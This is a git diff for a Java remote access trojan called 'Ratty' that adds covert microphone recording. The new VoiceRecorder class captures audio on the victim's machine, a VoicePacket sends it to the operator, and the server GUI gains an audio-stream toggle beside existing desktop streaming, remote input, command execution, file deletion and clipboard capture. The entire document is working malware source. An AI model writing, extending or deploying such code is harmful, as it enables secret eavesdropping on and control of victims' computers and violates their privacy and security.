diff --git a/Ratty/res/menu_icons.png b/Ratty/res/menu_icons.png index 128199e..4eabfc5 100644 Binary files a/Ratty/res/menu_icons.png and b/Ratty/res/menu_icons.png differ diff --git a/Ratty/src/de/sogomn/rat/IRecorderListener.java b/Ratty/src/de/sogomn/rat/IRecorderListener.java new file mode 100644 index 0000000..c178220 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/IRecorderListener.java @@ -0,0 +1,7 @@ +package de.sogomn.rat; + +public interface IRecorderListener { + + void done(final VoiceRecorder source, final byte[] data); + +} diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index ee0cefd..e950896 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -21,7 +21,7 @@ public final class Ratty { private static int port; private static boolean client; - private static final boolean DEBUG = false; + private static final boolean DEBUG = true; private static final String PORT_INPUT_MESSAGE = "Which port should the server be bind to?"; diff --git a/Ratty/src/de/sogomn/rat/Trojan.java b/Ratty/src/de/sogomn/rat/Trojan.java index 4265e79..09eecd3 100644 --- a/Ratty/src/de/sogomn/rat/Trojan.java +++ b/Ratty/src/de/sogomn/rat/Trojan.java @@ -1,16 +1,32 @@ package de.sogomn.rat; import de.sogomn.rat.packet.IPacket; +import de.sogomn.rat.packet.VoicePacket; public final class Trojan implements IClientObserver { + private static final int MICROPHONE_BUFFER_SIZE = 1024 << 8; + public Trojan() { //... } @Override public void packetReceived(final ActiveClient client, final IPacket packet) { - packet.execute(client); + if (packet instanceof VoicePacket) { + final VoiceRecorder recorder = new VoiceRecorder(); + final VoicePacket voice = (VoicePacket)packet; + + recorder.setMaximum(MICROPHONE_BUFFER_SIZE); + recorder.addListener((source, data) -> { + voice.setData(data); + + packet.execute(client); + }); + recorder.start(); + } else { + packet.execute(client); + } } @Override diff --git a/Ratty/src/de/sogomn/rat/VoiceRecorder.java b/Ratty/src/de/sogomn/rat/VoiceRecorder.java new file mode 100644 index 0000000..d82cbf2 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/VoiceRecorder.java @@ -0,0 +1,94 @@ +package de.sogomn.rat; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +import javax.sound.sampled.AudioSystem; +import javax.sound.sampled.LineUnavailableException; +import javax.sound.sampled.TargetDataLine; + +import de.sogomn.engine.util.AbstractListenerContainer; + +public final class VoiceRecorder extends AbstractListenerContainer { + + private ByteArrayOutputStream out; + private TargetDataLine line; + private Thread thread; + + private int maximum; + + private static final int BUFFER_SIZE = 1024; + + public VoiceRecorder(final int maximum) { + this.maximum = maximum; + + out = new ByteArrayOutputStream(); + } + + public VoiceRecorder() { + this(0); + } + + private byte[] getData() { + final byte[] data = out.toByteArray(); + + out.reset(); + + return data; + } + + private void captureAudio() { + try { + final byte[] data = new byte[BUFFER_SIZE]; + + line.read(data, 0, BUFFER_SIZE); + out.write(data); + } catch (final IOException ex) { + ex.printStackTrace(); + } + } + + public void start() { + final Runnable runnable = () -> { + while (out.size() < maximum) { + captureAudio(); + } + + stop(); + + final byte[] data = getData(); + + notifyListeners(listener -> listener.done(this, data)); + }; + + try { + line = AudioSystem.getTargetDataLine(null); + thread = new Thread(runnable); + + out.reset(); + line.open(); + line.start(); + thread.start(); + } catch (final LineUnavailableException ex) { + stop(); + } + } + + public void stop() { + try { + thread.interrupt(); + line.close(); + out.close(); + } catch (final IOException ex) { + //... + } finally { + thread = null; + line = null; + } + } + + public void setMaximum(final int maximum) { + this.maximum = maximum; + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index 0a56494..94f9d96 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -17,7 +17,8 @@ public enum PacketType { EXECUTE(12, ExecuteFilePacket.class), FOLDER(13, CreateFolderPacket.class), DELETE(14, DeleteFilePacket.class), - MOUSE_EVENT(15, MouseEventPacket.class); + MOUSE_EVENT(15, MouseEventPacket.class), + VOICE(16, VoicePacket.class); public final byte id; public final Class clazz; diff --git a/Ratty/src/de/sogomn/rat/packet/VoicePacket.java b/Ratty/src/de/sogomn/rat/packet/VoicePacket.java new file mode 100644 index 0000000..211c385 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/VoicePacket.java @@ -0,0 +1,58 @@ +package de.sogomn.rat.packet; + +import de.sogomn.engine.fx.Sound; +import de.sogomn.rat.ActiveClient; + +public final class VoicePacket extends AbstractPingPongPacket { + + private byte[] data; + + public VoicePacket() { + type = REQUEST; + data = new byte[0]; + } + + @Override + protected void sendRequest(final ActiveClient client) { + //... + } + + @Override + protected void sendData(final ActiveClient client) { + client.writeInt(data.length); + client.write(data); + } + + @Override + protected void receiveRequest(final ActiveClient client) { + //... + } + + @Override + protected void receiveData(final ActiveClient client) { + final int length = client.readInt(); + + data = new byte[length]; + + client.read(data); + } + + @Override + protected void executeRequest(final ActiveClient client) { + type = DATA; + + client.addPacket(this); + } + + @Override + protected void executeData(final ActiveClient client) { + final Sound sound = Sound.loadSound(data); + + sound.play(); + } + + public void setData(final byte[] data) { + this.data = data; + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index f7e9008..4531490 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -49,6 +49,7 @@ public final class RattyGui { public static final String POPUP = "Open popup"; public static final String SCREENSHOT = "Take screenshot"; public static final String DESKTOP = "Toggle desktop stream"; + public static final String VOICE = "Toggle audio stream"; public static final String FILES = "Browse files"; public static final String COMMAND = "Execute command"; public static final String CLIPBOARD = "Get clipboard content"; @@ -59,6 +60,7 @@ public final class RattyGui { POPUP, SCREENSHOT, DESKTOP, + VOICE, FILES, COMMAND, CLIPBOARD, diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 28f1081..2a50543 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -26,6 +26,7 @@ import de.sogomn.rat.packet.MouseEventPacket; import de.sogomn.rat.packet.PopupPacket; import de.sogomn.rat.packet.ScreenshotPacket; import de.sogomn.rat.packet.UploadFilePacket; +import de.sogomn.rat.packet.VoicePacket; import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.IServerObserver; import de.sogomn.rat.util.FrameEncoder.IFrame; @@ -40,7 +41,6 @@ public final class RattyGuiController implements IServerObserver, IClientObserve private JFileChooser fileChooser; private ArrayList clients; - private long nextId; public RattyGuiController(final RattyGui gui) { this.gui = gui; @@ -82,7 +82,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve packet = new ScreenshotPacket(); } else if (command == RattyGui.COMMAND) { packet = CommandPacket.create(); - } else if (command == RattyGui.DESKTOP) { + } else if (command == RattyGui.DESKTOP && !serverClient.isStreamingDesktop()) { packet = new DesktopStreamPacket(true); } else if (command == RattyGui.CLIPBOARD) { packet = new ClipboardPacket(); @@ -138,20 +138,22 @@ public final class RattyGuiController implements IServerObserver, IClientObserve final int key = displayPanel.getLastKeyHit(); packet = new KeyEventPacket(key, KeyEventPacket.RELEASE); - } else if (command == DisplayPanel.MOUSE_PRESSED) { + } else if (command == DisplayPanel.MOUSE_PRESSED && serverClient.isStreamingDesktop()) { final DisplayPanel displayPanel = serverClient.getDisplayPanel(); final int x = displayPanel.getLastXPos(); final int y = displayPanel.getLastYPos(); final int button = displayPanel.getLastButtonHit(); packet = new MouseEventPacket(x, y, button, MouseEventPacket.PRESS); - } else if (command == DisplayPanel.MOUSE_RELEASED) { + } else if (command == DisplayPanel.MOUSE_RELEASED && serverClient.isStreamingDesktop()) { final DisplayPanel displayPanel = serverClient.getDisplayPanel(); final int x = displayPanel.getLastXPos(); final int y = displayPanel.getLastYPos(); final int button = displayPanel.getLastButtonHit(); packet = new MouseEventPacket(x, y, button, MouseEventPacket.RELEASE); + } else if (command == RattyGui.VOICE && !serverClient.isStreamingVoice()) { + packet = new VoicePacket(); } return packet; @@ -175,6 +177,14 @@ public final class RattyGuiController implements IServerObserver, IClientObserve serverClient.client.addPacket(request); } + private void handle(final ServerClient serverClient, final VoicePacket packet) { + final VoicePacket voice = new VoicePacket(); + + packet.execute(serverClient.client); + + serverClient.client.addPacket(voice); + } + private void handle(final ServerClient serverClient, final FileSystemPacket packet) { final FileTreePanel treePanel = serverClient.getTreePanel(); final String[] paths = packet.getPaths(); @@ -207,11 +217,20 @@ public final class RattyGuiController implements IServerObserver, IClientObserve handle(serverClient, screenshot); } else if (packet instanceof DesktopStreamPacket) { final boolean streamingDesktop = serverClient.isStreamingDesktop(); - final DesktopStreamPacket stream = (DesktopStreamPacket)packet; if (streamingDesktop) { + final DesktopStreamPacket stream = (DesktopStreamPacket)packet; + handle(serverClient, stream); } + } else if (packet instanceof VoicePacket) { + final boolean streamingVoice = serverClient.isStreamingVoice(); + + if (streamingVoice) { + final VoicePacket voice = (VoicePacket)packet; + + handle(serverClient, voice); + } } else if (packet instanceof FileSystemPacket) { final FileSystemPacket file = (FileSystemPacket)packet; @@ -244,8 +263,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve @Override public synchronized void clientConnected(final ActiveServer server, final ActiveClient client) { - final long id = nextId++; - final ServerClient serverClient = new ServerClient(id, client); + final ServerClient serverClient = new ServerClient(client); final InformationPacket packet = new InformationPacket(); client.setObserver(this); @@ -279,6 +297,11 @@ public final class RattyGuiController implements IServerObserver, IClientObserve treePanel.setVisible(true); } else if (command == RattyGui.BUILD) { StubBuilder.start(); + } else if (command == RattyGui.VOICE) { + final boolean streaming = serverClient.isStreamingVoice(); + + serverClient.setStreamingVoice(!streaming); + gui.updateTable(); } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java index 2b832a5..047cc92 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java @@ -8,15 +8,14 @@ public final class ServerClient { private boolean loggedIn; private boolean streamingDesktop; + private boolean streamingVoice; private DisplayPanel displayPanel; private FileTreePanel treePanel; - final long id; final ActiveClient client; - public ServerClient(final long id, final ActiveClient client) { - this.id = id; + public ServerClient(final ActiveClient client) { this.client = client; displayPanel = new DisplayPanel(); @@ -38,6 +37,10 @@ public final class ServerClient { this.streamingDesktop = streamingDesktop; } + public void setStreamingVoice(final boolean streamingVoice) { + this.streamingVoice = streamingVoice; + } + public void setController(final IGuiController controller) { displayPanel.setController(controller); treePanel.setController(controller); @@ -47,6 +50,10 @@ public final class ServerClient { return name; } + public String getAddress() { + return client.getAddress(); + } + public String getOs() { return os; } @@ -63,6 +70,10 @@ public final class ServerClient { return streamingDesktop; } + public boolean isStreamingVoice() { + return streamingVoice; + } + public DisplayPanel getDisplayPanel() { return displayPanel; } diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java index 985eea8..fa2b90f 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java @@ -1,6 +1,7 @@ package de.sogomn.rat.server.gui; import java.util.ArrayList; +import java.util.function.Function; import javax.swing.table.AbstractTableModel; @@ -8,45 +9,42 @@ final class ServerClientTableModel extends AbstractTableModel { private static final long serialVersionUID = 919111102883611810L; private ArrayList serverClients; + private Column[] columns; - private static final int COLUMN_COUNT = 5; - private static final String[] HEADERS = { - "Name", - "IP address", - "OS", - "Version", - "Streaming" - }; + private static final int COLUMN_COUNT = 6; public ServerClientTableModel() { serverClients = new ArrayList(); + columns = new Column[COLUMN_COUNT]; + + columns[0] = new Column("Name", String.class, ServerClient::getName); + columns[1] = new Column("IP address", String.class, ServerClient::getAddress); + columns[2] = new Column("OS", String.class, ServerClient::getOs); + columns[3] = new Column("Version", String.class, ServerClient::getVersion); + columns[4] = new Column("Streaming desktop", Boolean.class, ServerClient::isStreamingDesktop); + columns[5] = new Column("Streaming voice", Boolean.class, ServerClient::isStreamingVoice); } @Override - public String getColumnName(final int column) { - if (column <= HEADERS.length - 1 && column >= 0) { - return HEADERS[column]; + public String getColumnName(final int columnIndex) { + if (columnIndex <= COLUMN_COUNT - 1 && columnIndex >= 0) { + final Column column = columns[columnIndex]; + + return column.name; } - return super.getColumnName(column); + return super.getColumnName(columnIndex); } @Override public Class getColumnClass(final int columnIndex) { - switch (columnIndex) { - case 0: - return String.class; - case 1: - return String.class; - case 2: - return String.class; - case 3: - return String.class; - case 4: - return Boolean.class; - default: - return super.getColumnClass(columnIndex); + if (columnIndex <= COLUMN_COUNT - 1 && columnIndex >= 0) { + final Column column = columns[columnIndex]; + + return column.clazz; } + + return super.getColumnClass(columnIndex); } @Override @@ -58,24 +56,14 @@ final class ServerClientTableModel extends AbstractTableModel { public Object getValueAt(final int rowIndex, final int columnIndex) { final ServerClient serverClient = getServerClient(rowIndex); - if (serverClient == null) { + if (serverClient == null || columnIndex > COLUMN_COUNT - 1 || columnIndex < 0) { return null; } - switch (columnIndex) { - case 0: - return serverClient.getName(); - case 1: - return serverClient.client.getAddress(); - case 2: - return serverClient.getOs(); - case 3: - return serverClient.getVersion(); - case 4: - return serverClient.isStreamingDesktop(); - default: - return null; - } + final Column column = columns[columnIndex]; + final Function value = column.value; + + return value.apply(serverClient); } @Override @@ -106,4 +94,18 @@ final class ServerClientTableModel extends AbstractTableModel { return null; } + private final class Column { + + final String name; + final Class clazz; + final Function value; + + public Column(final String name, final Class clazz, final Function value) { + this.name = name; + this.clazz = clazz; + this.value = value; + } + + } + }